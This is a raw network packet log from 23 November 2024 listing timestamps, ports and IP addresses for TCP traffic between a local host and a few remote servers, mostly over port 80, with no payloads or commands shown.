Nov 23, 2024 19:52:53.139334917 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.139415026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.139561892 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.140182018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.140223980 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.140283108 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.140497923 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.141078949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.141175985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.141235113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.142009020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.142054081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.142065048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.142112970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.142991066 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.143080950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.143137932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.143796921 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.143910885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.143960953 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.144721031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.144833088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.144906044 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.145626068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.145725965 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.145766973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.145783901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.146580935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.146637917 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.146684885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.147495031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.147562981 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.147583008 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.147624969 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.148406029 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.148463011 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.148473024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.149308920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.149375916 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.149396896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.149609089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.150170088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.153614998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.207581043 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.207653999 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.207782984 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.208033085 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.208033085 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.208055973 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.208065987 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.211652040 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.211689949 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.212594986 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.213150024 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.213165045 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.227132082 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.227197886 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.227415085 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.227415085 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.227463961 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.227480888 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.232830048 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.232861996 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.233233929 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.233346939 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.233356953 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.236855984 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.236913919 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.237581015 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.237616062 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.237632990 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.237644911 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.237649918 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.239900112 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.239917994 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.240257025 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.240386009 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.240396976 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.257383108 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.257477999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.257478952 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.257515907 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.257788897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.257844925 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.257906914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.258011103 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.258446932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.258718014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.258765936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.258821011 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.259819984 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.259926081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.259978056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.260560989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.260664940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.260725021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.261461020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.261547089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.261562109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.261614084 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.262397051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.262470961 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.262546062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.263304949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.263369083 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.263451099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.263499975 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.264216900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.264321089 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.264377117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.265115023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.265166044 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.265172958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.265249968 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.266033888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.266135931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.266182899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.266942024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.267045975 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.267096043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.267859936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.267910004 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.267951012 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.268078089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.268769979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.268820047 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.268939018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.269031048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.269674063 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.269722939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.269772053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.270586967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.270637989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.270701885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.270744085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.271517038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.271569967 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.271622896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.271816969 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.272416115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.272466898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.272520065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.272578001 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.273355007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.273477077 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.273538113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.274231911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.274292946 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.274343967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.274466991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.275310993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.275368929 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.275429964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.275595903 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.276057959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.276161909 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.276211977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.277000904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.277049065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.277121067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.277297020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.277879953 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.277955055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.278011084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.278199911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.278809071 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.278908014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.278959990 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.279719114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.279779911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.279802084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.279848099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.280601978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.281609058 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.308145046 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:53.386648893 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.386712074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.386724949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.386769056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.387057066 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.387118101 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.387126923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.387278080 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.387329102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.388017893 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.388067961 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.388149977 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.388212919 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.388250113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.388297081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.389158010 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.389178038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.389228106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.389966011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.390017986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.390036106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.390157938 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.390916109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.390969992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.390985012 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.391001940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.391794920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.391844034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.391865015 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.391912937 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.392735958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.392786026 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.392833948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.392879009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.393626928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.393676043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.393693924 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.393744946 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.394624949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.394722939 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.394745111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.394793034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.395504951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.395558119 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.395637989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.395751953 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.396670103 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.396707058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.396724939 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.396749020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.397300005 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.397357941 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.397404909 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.398205042 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.398219109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.398264885 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.399118900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.399161100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.399163008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.399204969 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.400028944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.400060892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.400262117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.400923014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.400969982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.400974035 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.401020050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.401825905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.401880980 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.401900053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.401954889 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.402745962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.402815104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.402842999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.402877092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.403677940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.403740883 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.403769016 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.403784037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.404633999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.404715061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.404716015 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.404840946 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.405494928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.405540943 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.405616999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.405659914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.406392097 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.406441927 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.406510115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.406553984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.407298088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.407346010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.407403946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.407454014 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.408225060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.408309937 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.408325911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.408442974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.409162045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.409262896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.409306049 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.410062075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.410119057 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.410123110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.410166025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.410954952 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.410968065 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.411001921 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.411041975 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.411099911 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.411329985 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.411343098 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.411364079 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.411380053 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.414910078 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.414953947 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.415227890 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.415410042 CET	49891	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:53.415421963 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:53.458739042 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.458751917 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.458811998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.516040087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.516107082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.516136885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.516242027 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.516537905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.516582012 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.516665936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.516720057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.516916037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.517502069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.517551899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.517590046 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.518409014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.518465042 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.518655062 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.518780947 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.518804073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.518822908 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.519593000 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.519646883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.519706011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.519776106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.520754099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.520801067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.520811081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.520829916 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.521430969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.521483898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.521537066 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.521606922 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.522340059 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.522396088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.522419930 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.522459984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.523251057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.523305893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.523371935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.523401976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.524194002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.524246931 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.524321079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.524358988 CET	49831	80	192.168.2.6	185.215.113.206
